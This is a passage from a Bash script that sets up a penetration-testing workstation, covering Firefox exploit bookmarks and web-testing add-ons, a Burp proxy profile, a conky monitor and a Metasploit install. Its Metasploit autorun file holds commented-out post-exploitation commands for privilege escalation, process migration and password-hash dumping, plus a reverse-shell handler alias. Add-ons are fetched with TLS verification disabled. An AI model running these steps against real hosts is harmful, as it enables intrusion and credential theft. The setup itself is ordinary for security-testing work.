  1401. sed -i 's#^</DL><p>#    <DT><A HREF="http://127.0.0.1/rips/">RIPS</A>\n</DL><p>#' "${file}"                       # Add RIPs to bookmark toolbar
  1402. sed -i 's#^</DL><p>#    <DT><A HREF="https://paulschou.com/tools/xlate/">XLATE</A>\n</DL><p>#' "${file}"          # Add XLATE to bookmark toolbar
  1403. sed -i 's#^</DL><p>#    <DT><A HREF="https://hackvertor.co.uk/public">HackVertor</A>\n</DL><p>#' "${file}"        # Add HackVertor to bookmark toolbar
  1404. sed -i 's#^</DL><p>#    <DT><A HREF="http://www.irongeek.com/skiddypad.php">SkiddyPad</A>\n</DL><p>#' "${file}"   # Add Skiddypad to bookmark toolbar
  1405. sed -i 's#^</DL><p>#    <DT><A HREF="https://www.exploit-db.com/search/">Exploit-DB</A>\n</DL><p>#' "${file}"     # Add Exploit-DB to bookmark toolbar
  1406. sed -i 's#^</DL><p>#    <DT><A HREF="http://offset-db.com/">Offset-DB</A>\n</DL><p>#' "${file}"                   # Add Offset-DB to bookmark toolbar
  1407. sed -i 's#^</DL><p>#    <DT><A HREF="http://shell-storm.org/shellcode/">Shelcodes</A>\n</DL><p>#' "${file}"       # Add Shelcodes to bookmark toolbar
  1408. sed -i 's#^</DL><p>#    <DT><A HREF="http://ropshell.com/">ROP Shell</A>\n</DL><p>#' "${file}"                    # Add ROP Shell to bookmark toolbar
  1409. sed -i 's#^</DL><p>#    <DT><A HREF="https://ifconfig.io/">ifconfig</A>\n</DL><p>#' "${file}"                     # Add ifconfig.io to bookmark toolbar
  1410. sed -i 's#<HR>#<DT><H3 ADD_DATE="1303667175" LAST_MODIFIED="1303667175" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks Toolbar</H3>\n<DD>Add bookmarks to this folder to see them displayed on the Bookmarks Toolbar#' "${file}"
  1411. #--- Clear bookmark cache
  1412. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -mindepth 1 -type f -name "places.sqlite" -delete
  1413. find ~/.mozilla/firefox/*.default*/bookmarkbackups/ -type f -delete
  1414. #--- Set firefox for XFCE's default
  1415. mkdir -p ~/.config/xfce4/
  1416. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}    #exo-preferred-applications   #xdg-mime default
  1417. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1418. sed -i 's#^WebBrowser=.*#WebBrowser=firefox#' "${file}" 2>/dev/null \
  1419.   || echo -e 'WebBrowser=firefox' >> "${file}"
  1420.  
  1421.  
  1422. ##### Setup firefox's plugins
  1423. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}firefox's plugins${RESET} ~ useful addons"
  1424. #--- Configure firefox
  1425. export DISPLAY=:0.0
  1426. #--- Download extensions
  1427. ffpath="$(find ~/.mozilla/firefox/*.default*/ -maxdepth 0 -mindepth 0 -type d -name '*.default*' -print -quit)/extensions"
  1428. [ "${ffpath}" == "/extensions" ] \
  1429.   && echo -e ' '${RED}'[!]'${RESET}" Couldn't find Firefox folder" 1>&2
  1430. mkdir -p "${ffpath}/"
  1431. #--- plug-n-hack
  1432. #curl --progress -k -L -f "https://github.com/mozmark/ringleader/blob/master/fx_pnh.xpi?raw=true????????????????"  \
  1433. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'plug-n-hack' 1>&2
  1434. #--- HttpFox
  1435. #curl --progress -k -L -f "https://addons.mozilla.org/en-GB/firefox/addon/httpfox/??????????????"  \
  1436. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HttpFox' 1>&2
  1437. #--- SQLite Manager
  1438. echo -n '[1/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/5817/addon-5817-latest.xpi?src=dp-btn-primary" \
  1439.   -o "${ffpath}/SQLiteManager@mrinalkant.blogspot.com.xpi" \
  1440.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'SQLite Manager'" 1>&2
  1441. #--- Cookies Manager+
  1442. echo -n '[2/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/92079/addon-92079-latest.xpi?src=dp-btn-primary" \
  1443.   -o "${ffpath}/{bb6bc1bb-f824-4702-90cd-35e2fb24f25d}.xpi" \
  1444.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Cookies Manager+'" 1>&2
  1445. #--- Firebug
  1446. echo -n '[3/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/1843/addon-1843-latest.xpi?src=dp-btn-primary" \
  1447.   -o "${ffpath}/firebug@software.joehewitt.com.xpi" \
  1448.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Firebug'" 1>&2
  1449. #--- FoxyProxy Basic
  1450. echo -n '[4/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/15023/addon-15023-latest.xpi?src=dp-btn-primary" \
  1451.   -o "${ffpath}/foxyproxy-basic@eric.h.jung.xpi" \
  1452.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'FoxyProxy Basic'" 1>&2
  1453. #--- User Agent Overrider
  1454. echo -n '[5/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/429678/addon-429678-latest.xpi?src=dp-btn-primary" \
  1455.   -o "${ffpath}/useragentoverrider@qixinglu.com.xpi" \
  1456.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'User Agent Overrider'" 1>&2
  1457. #--- HTTPS Everywhere
  1458. echo -n '[6/11]'; timeout 300 curl --progress -k -L -f "https://www.eff.org/files/https-everywhere-latest.xpi" \
  1459.   -o "${ffpath}/https-everywhere@eff.org.xpi" \
  1460.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HTTPS Everywhere'" 1>&2
  1461. #--- Live HTTP Headers
  1462. echo -n '[7/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3829/addon-3829-latest.xpi?src=dp-btn-primary" \
  1463.   -o "${ffpath}/{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}.xpi" \
  1464.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Live HTTP Headers'" 1>&2
  1465. #---Tamper Data
  1466. echo -n '[8/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/966/addon-966-latest.xpi?src=dp-btn-primary" \
  1467.   -o "${ffpath}/{9c51bd27-6ed8-4000-a2bf-36cb95c0c947}.xpi" \
  1468.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Tamper Data'" 1>&2
  1469. #--- Disable Add-on Compatibility Checks
  1470. echo -n '[9/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/300254/addon-300254-latest.xpi?src=dp-btn-primary" \
  1471.   -o "${ffpath}/check-compatibility@dactyl.googlecode.com.xpi" \
  1472.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'Disable Add-on Compatibility Checks'" 1>&2
  1473. #--- Disable HackBar
  1474. echo -n '[10/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/3899/addon-3899-latest.xpi?src=dp-btn-primary" \
  1475.   -o "${ffpath}/{F5DDF39C-9293-4d5e-9AA8-E04E6DD5E9B4}.xpi" \
  1476.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'HackBar'" 1>&2
  1477. #--- uBlock
  1478. echo -n '[11/11]'; timeout 300 curl --progress -k -L -f "https://addons.mozilla.org/firefox/downloads/latest/607454/addon-607454-latest.xpi?src=dp-btn-primary" \
  1479.   -o "${ffpath}/{ec8030f7-c20a-464f-9b0e-13a3a9e97384}.xpi" \
  1480.     || echo -e ' '${RED}'[!]'${RESET}" Issue downloading 'uBlock'" 1>&2
  1481. #--- Installing extensions
  1482. for FILE in $(find "${ffpath}" -maxdepth 1 -type f -name '*.xpi'); do
  1483.   d="$(basename "${FILE}" .xpi)"
  1484.   mkdir -p "${ffpath}/${d}/"
  1485.   unzip -q -o -d "${ffpath}/${d}/" "${FILE}"
  1486.   rm -f "${FILE}"
  1487. done
  1488. #--- Enable Firefox's addons/plugins/extensions
  1489. timeout 15 firefox >/dev/null 2>&1
  1490. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1491. sleep 3s
  1492. #--- Method #1 (Works on older versions)
  1493. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.sqlite' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1494. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1495.   echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #1 - extensions.sqlite)"
  1496.   apt -y -qq install sqlite3 \
  1497.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1498.   rm -f /tmp/firefox.sql
  1499.   touch /tmp/firefox.sql
  1500.   echo "UPDATE 'main'.'addon' SET 'active' = 1, 'userDisabled' = 0;" > /tmp/firefox.sql    # Force them all!
  1501.   sqlite3 "${file}" < /tmp/firefox.sql      #fuser extensions.sqlite
  1502. fi
  1503. #--- Method #2 (Newer versions)
  1504. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'extensions.json' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1505. if [[ -e "${file}" ]] || [[ -n "${file}" ]]; then
  1506.   echo -e " ${YELLOW}[i]${RESET} Enabled ${YELLOW}Firefox's extensions${RESET} (via method #2 - extensions.json)"
  1507.   sed -i 's/"active":false,/"active":true,/g' "${file}"                # Force them all!
  1508.   sed -i 's/"userDisabled":true,/"userDisabled":false,/g' "${file}"    # Force them all!
  1509. fi
  1510. #--- Remove cache
  1511. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'prefs.js' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1512. [ -n "${file}" ] \
  1513.   && sed -i '/extensions.installCache/d' "${file}"
  1514. #--- For extensions that just work without restarting
  1515. timeout 15 firefox >/dev/null 2>&1
  1516. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1517. sleep 3s
  1518. #--- For (most) extensions, as they need firefox to restart
  1519. timeout 15 firefox >/dev/null 2>&1
  1520. timeout 5 killall -9 -q -w firefox-esr >/dev/null
  1521. sleep 5s
  1522. #--- Wipe session (due to force close)
  1523. find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'sessionstore.*' -delete
  1524. #--- Configure foxyproxy
  1525. file=$(find ~/.mozilla/firefox/*.default*/ -maxdepth 1 -type f -name 'foxyproxy.xml' -print -quit)   #&& [ -e "${file}" ] && cp -n $file{,.bkup}
  1526. if [[ -z "${file}" ]]; then
  1527.   echo -e ' '${RED}'[!]'${RESET}' Something went wrong with the FoxyProxy firefox extension (did any extensions install?). Skipping...' 1>&2
  1528. else     # Create new
  1529.   echo -ne '<?xml version="1.0" encoding="UTF-8"?>\n<foxyproxy mode="disabled" selectedTabIndex="0" toolbaricon="true" toolsMenu="true" contextMenu="false" advancedMenus="false" previousMode="disabled" resetIconColors="true" useStatusBarPrefix="true" excludePatternsFromCycling="false" excludeDisabledFromCycling="false" ignoreProxyScheme="false" apiDisabled="false" proxyForVersionCheck=""><random includeDirect="false" includeDisabled="false"/><statusbar icon="true" text="false" left="options" middle="cycle" right="contextmenu" width="0"/><toolbar left="options" middle="cycle" right="contextmenu"/><logg enabled="false" maxSize="500" noURLs="false" header="&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;\n&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head&gt;&lt;title&gt;&lt;/title&gt;&lt;link rel=&quot;icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://getfoxyproxy.org/favicon.ico&quot;/&gt;&lt;link rel=&quot;stylesheet&quot; href=&quot;http://getfoxyproxy.org/styles/log.css&quot; type=&quot;text/css&quot;/&gt;&lt;/head&gt;&lt;body&gt;&lt;table class=&quot;log-table&quot;&gt;&lt;thead&gt;&lt;tr&gt;&lt;td class=&quot;heading&quot;&gt;${timestamp-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${url-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${proxy-notes-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-name-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-case-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-type-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pattern-color-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${pac-result-heading}&lt;/td&gt;&lt;td class=&quot;heading&quot;&gt;${error-msg-heading}&lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tfoot&gt;&lt;tr&gt;&lt;td/&gt;&lt;/tr&gt;&lt;/tfoot&gt;&lt;tbody&gt;" row="&lt;tr&gt;&lt;td class=&quot;timestamp&quot;&gt;${timestamp}&lt;/td&gt;&lt;td class=&quot;url&quot;&gt;&lt;a href=&quot;${url}&quot;&gt;${url}&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;proxy-name&quot;&gt;${proxy-name}&lt;/td&gt;&lt;td class=&quot;proxy-notes&quot;&gt;${proxy-notes}&lt;/td&gt;&lt;td class=&quot;pattern-name&quot;&gt;${pattern-name}&lt;/td&gt;&lt;td class=&quot;pattern&quot;&gt;${pattern}&lt;/td&gt;&lt;td class=&quot;pattern-case&quot;&gt;${pattern-case}&lt;/td&gt;&lt;td class=&quot;pattern-type&quot;&gt;${pattern-type}&lt;/td&gt;&lt;td class=&quot;pattern-color&quot;&gt;${pattern-color}&lt;/td&gt;&lt;td class=&quot;pac-result&quot;&gt;${pac-result}&lt;/td&gt;&lt;td class=&quot;error-msg&quot;&gt;${error-msg}&lt;/td&gt;&lt;/tr&gt;" footer="&lt;/tbody&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;"/><warnings/><autoadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic AutoAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/><match enabled="true" name="" pattern="*You are not authorized to view this page*" isRegEx="false" isBlackList="false" isMultiLine="true" caseSensitive="false" fromSubscription="false"/></autoadd><quickadd enabled="false" temp="false" reload="true" notify="true" notifyWhenCanceled="true" prompt="true"><match enabled="true" name="Dynamic QuickAdd Pattern" pattern="*://${3}${6}/*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></quickadd><defaultPrefs origPrefetch="null"/><proxies>' > "${file}"
  1530.   echo -ne '<proxy name="localhost:8080" id="1145138293" notes="e.g. Burp, w3af" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#07753E" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8080" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1531.   echo -ne '<proxy name="localhost:8081 (socket5)" id="212586674" notes="e.g. SSH" fromSubscription="false" enabled="true" mode="manual" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#917504" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="127.0.0.1" port="8081" socksversion="5" isSocks="true" username="" password="" domain=""/></proxy>' >> "${file}"
  1532.   echo -ne '<proxy name="No Caching" id="3884644610" notes="" fromSubscription="false" enabled="true" mode="system" selectedTabIndex="0" lastresort="false" animatedIcons="true" includeInCycle="false" color="#990DA6" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="true" disableCache="true" clearCookiesBeforeUse="false" rejectCookies="false"><matches/><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password="" domain=""/></proxy>' >> "${file}"
  1533.   echo -ne '<proxy name="Default" id="3377581719" notes="" fromSubscription="false" enabled="true" mode="direct" selectedTabIndex="0" lastresort="true" animatedIcons="false" includeInCycle="true" color="#0055E5" proxyDNS="true" noInternalIPs="false" autoconfMode="pac" clearCacheBeforeUse="false" disableCache="false" clearCookiesBeforeUse="false" rejectCookies="false"><matches><match enabled="true" name="All" pattern="*" isRegEx="false" isBlackList="false" isMultiLine="false" caseSensitive="false" fromSubscription="false"/></matches><autoconf url="" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><autoconf url="http://wpad/wpad.dat" loadNotification="true" errorNotification="true" autoReload="false" reloadFreqMins="60" disableOnBadPAC="true"/><manualconf host="" port="" socksversion="5" isSocks="false" username="" password=""/></proxy>' >> "${file}"
  1534.   echo -e '</proxies></foxyproxy>' >> "${file}"
  1535. fi
  1536.  
  1537.  
  1538. ##### Install conky
  1539. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}conky${RESET} ~ GUI desktop monitor"
  1540. export DISPLAY=:0.0
  1541. apt -y -qq install conky \
  1542.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1543. #--- Configure conky
  1544. file=~/.conkyrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1545. if [[ -f "${file}" ]]; then
  1546.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1547. else
  1548.   cat <<EOF > "${file}"
  1549. --# Useful: http://forums.opensuse.org/english/get-technical-help-here/how-faq-forums/unreviewed-how-faq/464737-easy-configuring-conky-conkyconf.html
  1550. conky.config = {
  1551.     background = false,
  1552.  
  1553.     font = 'monospace:size=8:weight=bold',
  1554.     use_xft = true,
  1555.  
  1556.     update_interval = 2.0,
  1557.  
  1558.     own_window = true,
  1559.     own_window_type = 'normal',
  1560.     own_window_transparent = true,
  1561.     own_window_class = 'conky-semi',
  1562.     own_window_argb_visual = false,
  1563.     own_window_colour = 'brown',
  1564.     own_window_hints = 'undecorated,below,sticky,skip_taskbar,skip_pager',
  1565.  
  1566.     double_buffer = true,
  1567.     maximum_width = 260,
  1568.  
  1569.     draw_shades = true,
  1570.     draw_outline = false,
  1571.     draw_borders = false,
  1572.  
  1573.     stippled_borders = 3,
  1574.     border_inner_margin = 9,
  1575.     border_width = 10,
  1576.  
  1577.     default_color = 'grey',
  1578.  
  1579.     alignment = 'bottom_right',
  1580.     gap_x = 5,
  1581.     gap_y = 0,
  1582.  
  1583.     uppercase = false,
  1584.     use_spacer = 'right',
  1585. };
  1586.  
  1587. conky.text = [[
  1588. \${color dodgerblue3}SYSTEM \${hr 2}\$color
  1589. #\${color white}\${time %A},\${time %e} \${time %B} \${time %G}\${alignr}\${time %H:%M:%S}
  1590. \${color white}Host\$color: \$nodename  \${alignr}\${color white}Uptime\$color: \$uptime
  1591.  
  1592. \${color dodgerblue3}CPU \${hr 2}\$color
  1593. #\${font Arial:bold:size=8}\${execi 99999 grep "model name" -m1 /proc/cpuinfo | cut -d":" -f2 | cut -d" " -f2- | sed "s#Processor ##"}\$font\$color
  1594. \${color white}MHz\$color: \${freq} \${alignr}\${color white}Load\$color: \${exec uptime | awk -F "load average: "  '{print \$2}'}
  1595. \${color white}Tasks\$color: \$running_processes/\$processes \${alignr}\${color white}CPU0\$color: \${cpu cpu0}% \${color white}CPU1\$color: \${cpu cpu1}%
  1596. #\${color #c0ff3e}\${acpitemp}C
  1597. #\${execi 20 sensors |grep "Core0 Temp" | cut -d" " -f4}\$font\$color\${alignr}\${freq_g 2} \${execi 20 sensors |grep "Core1 Temp" | cut -d" " -f4}
  1598. \${cpugraph cpu0 25,120 000000 white} \${alignr}\${cpugraph cpu1 25,120 000000 white}
  1599. \${color white}\${cpubar cpu1 3,120} \${alignr}\${color white}\${cpubar cpu2 3,120}\$color
  1600.  
  1601. \${color dodgerblue3}PROCESSES \${hr 2}\$color
  1602. \${color white}NAME             PID     CPU     MEM
  1603. \${color white}\${top name 1}\${top pid 1}  \${top cpu 1}  \${top mem 1}\$color
  1604. \${top name 2}\${top pid 2}  \${top cpu 2}  \${top mem 2}
  1605. \${top name 3}\${top pid 3}  \${top cpu 3}  \${top mem 3}
  1606. \${top name 4}\${top pid 4}  \${top cpu 4}  \${top mem 4}
  1607. \${top name 5}\${top pid 5}  \${top cpu 5}  \${top mem 5}
  1608.  
  1609. \${color dodgerblue3}MEMORY & SWAP \${hr 2}\$color
  1610. \${color white}RAM\$color  \$alignr\$memperc%  \${membar 6,170}\$color
  1611. \${color white}Swap\$color  \$alignr\$swapperc%  \${swapbar 6,170}\$color
  1612.  
  1613. \${color dodgerblue3}FILESYSTEM \${hr 2}\$color
  1614. \${color white}root\$color \${fs_free_perc /}% free\${alignr}\${fs_free /}/ \${fs_size /}
  1615. \${fs_bar 3 /}\$color
  1616. #\${color white}home\$color \${fs_free_perc /home}% free\${alignr}\${fs_free /home}/ \${fs_size /home}
  1617. #\${fs_bar 3 /home}\$color
  1618.  
  1619. \${color dodgerblue3}LAN eth0 (\${addr eth0}) \${hr 2}\$color
  1620. \${color white}Down\$color:  \${downspeed eth0} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth0} KB/s
  1621. \${color white}Downloaded\$color: \${totaldown eth0} \${alignr}\${color white}Uploaded\$color: \${totalup eth0}
  1622. \${downspeedgraph eth0 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth0 25,120 000000 ff0000}\$color
  1623.  
  1624. EOF
  1625. ip addr show eth1 &>/dev/null \
  1626.  && cat <<EOF >> "${file}"
  1627. \${color dodgerblue3}LAN eth1 (\${addr eth1}) \${hr 2}\$color
  1628. \${color white}Down\$color:  \${downspeed eth1} KB/s\${alignr}\${color white}Up\$color: \${upspeed eth1} KB/s
  1629. \${color white}Downloaded\$color: \${totaldown eth1} \${alignr}\${color white}Uploaded\$color: \${totalup eth1}
  1630. \${downspeedgraph eth1 25,120 000000 00ff00} \${alignr}\${upspeedgraph eth1 25,120 000000 ff0000}\$color
  1631.  
  1632. EOF
  1633. cat <<EOF >> "${file}"
  1634. \${color dodgerblue3}Wi-Fi (\${addr wlan0}) \${hr 2}\$color
  1635. \${color white}Down\$color:  \${downspeed wlan0} KB/s\${alignr}\${color white}Up\$color: \${upspeed wlan0} KB/s
  1636. \${color white}Downloaded\$color: \${totaldown wlan0} \${alignr}\${color white}Uploaded\$color: \${totalup wlan0}
  1637. \${downspeedgraph wlan0 25,120 000000 00ff00} \${alignr}\${upspeedgraph wlan0 25,120 000000 ff0000}\$color
  1638.  
  1639. \${color dodgerblue3}CONNECTIONS \${hr 2}\$color
  1640. \${color white}Inbound: \$color\${tcp_portmon 1 32767 count}  \${alignc}\${color white}Outbound: \$color\${tcp_portmon 32768 61000 count}\${alignr}\${color white}Total: \$color\${tcp_portmon 1 65535 count}
  1641. \${color white}Inbound \${alignr}Local Service/Port\$color
  1642. \$color \${tcp_portmon 1 32767 rhost 0} \${alignr}\${tcp_portmon 1 32767 lservice 0}
  1643. \$color \${tcp_portmon 1 32767 rhost 1} \${alignr}\${tcp_portmon 1 32767 lservice 1}
  1644. \$color \${tcp_portmon 1 32767 rhost 2} \${alignr}\${tcp_portmon 1 32767 lservice 2}
  1645. \${color white}Outbound \${alignr}Remote Service/Port\$color
  1646. \$color \${tcp_portmon 32768 61000 rhost 0} \${alignr}\${tcp_portmon 32768 61000 rservice 0}
  1647. \$color \${tcp_portmon 32768 61000 rhost 1} \${alignr}\${tcp_portmon 32768 61000 rservice 1}
  1648. \$color \${tcp_portmon 32768 61000 rhost 2} \${alignr}\${tcp_portmon 32768 61000 rservice 2}
  1649. ]]
  1650. EOF
  1651. fi
  1652. #--- Create start script
  1653. mkdir -p /usr/local/bin/
  1654. file=/usr/local/bin/start-conky; [ -e "${file}" ] && cp -n $file{,.bkup}
  1655. cat <<EOF > "${file}" \
  1656.  || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1657. #!/bin/bash
  1658.  
  1659. [[ -z \${DISPLAY} ]] && export DISPLAY=:0.0
  1660.  
  1661. $(which timeout) 10 $(which killall) -9 -q -w conky
  1662. $(which sleep) 20s
  1663. $(which conky) &
  1664. EOF
  1665. chmod -f 0500 "${file}"
  1666. #--- Run now
  1667. bash /usr/local/bin/start-conky >/dev/null 2>&1 &
  1668. #--- Add to startup (each login)
  1669. mkdir -p ~/.config/autostart/
  1670. file=~/.config/autostart/conkyscript.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  1671. cat <<EOF > "${file}" \
  1672.  || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  1673. [Desktop Entry]
  1674. Name=conky
  1675. Exec=/usr/local/bin/start-conky
  1676. Hidden=false
  1677. NoDisplay=false
  1678. X-GNOME-Autostart-enabled=true
  1679. Type=Application
  1680. Comment=
  1681. EOF
  1682. #--- Add keyboard shortcut (CTRL+r) to run the conky refresh script
  1683. file=~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  1684. if [ -e "${file}" ]; then
  1685.  grep -q '<property name="&lt;Primary&gt;r" type="string" value="/usr/local/bin/start-conky"/>' "${file}" \
  1686.    || sed -i 's#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>#<property name="\&lt;Alt\&gt;F2" type="string" value="xfrun4"/>\n      <property name="\&lt;Primary\&gt;r" type="string" value="/usr/local/bin/start-conky"/>#' "${file}"
  1687. fi
  1688.  
  1689.  
  1690. ##### Install metasploit ~ http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
  1691. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}metasploit${RESET} ~ exploit framework"
  1692. apt -y -qq install metasploit-framework \
  1693.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  1694. mkdir -p ~/.msf4/modules/{auxiliary,exploits,payloads,post}/
  1695. #--- ASCII art
  1696. #export GOCOW=1   # Always a cow logo ;)   Others: THISISHALLOWEEN (Halloween), APRILFOOLSPONIES (My Little Pony)
  1697. #file=~/.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1698. #([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  1699. #grep -q '^GOCOW' "${file}" 2>/dev/null || echo 'GOCOW=1' >> "${file}"
  1700. #--- Fix any port issues
  1701. file=$(find /etc/postgresql/*/main/ -maxdepth 1 -type f -name postgresql.conf -print -quit);
  1702. [ -e "${file}" ] && cp -n $file{,.bkup}
  1703. sed -i 's/port = .* #/port = 5432 /' "${file}"
  1704. #--- Fix permissions - 'could not translate host name "localhost", service "5432" to address: Name or service not known'
  1705. chmod 0644 /etc/hosts
  1706. #--- Start services
  1707. systemctl stop postgresql
  1708. systemctl start postgresql
  1709. msfdb reinit
  1710. sleep 5s
  1711. #--- Autorun Metasploit commands each startup
  1712. file=~/.msf4/msf_autorunscript.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1713. if [[ -f "${file}" ]]; then
  1714.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1715. else
  1716.   cat <<EOF > "${file}"
  1717. #run post/windows/escalate/getsystem
  1718.  
  1719. #run migrate -f -k
  1720. #run migrate -n "explorer.exe" -k    # Can trigger AV alerts by touching explorer.exe...
  1721.  
  1722. #run post/windows/manage/smart_migrate
  1723. #run post/windows/gather/smart_hashdump
  1724. EOF
  1725. fi
  1726. file=~/.msf4/msfconsole.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  1727. if [[ -f "${file}" ]]; then
  1728.   echo -e ' '${RED}'[!]'${RESET}" ${file} detected. Skipping..." 1>&2
  1729. else
  1730.   cat <<EOF > "${file}"
  1731. load auto_add_route
  1732.  
  1733. load alias
  1734. alias del rm
  1735. alias handler use exploit/multi/handler
  1736.  
  1737. load sounds
  1738.  
  1739. setg TimestampOutput true
  1740. setg VERBOSE true
  1741.  
  1742. setg ExitOnSession false
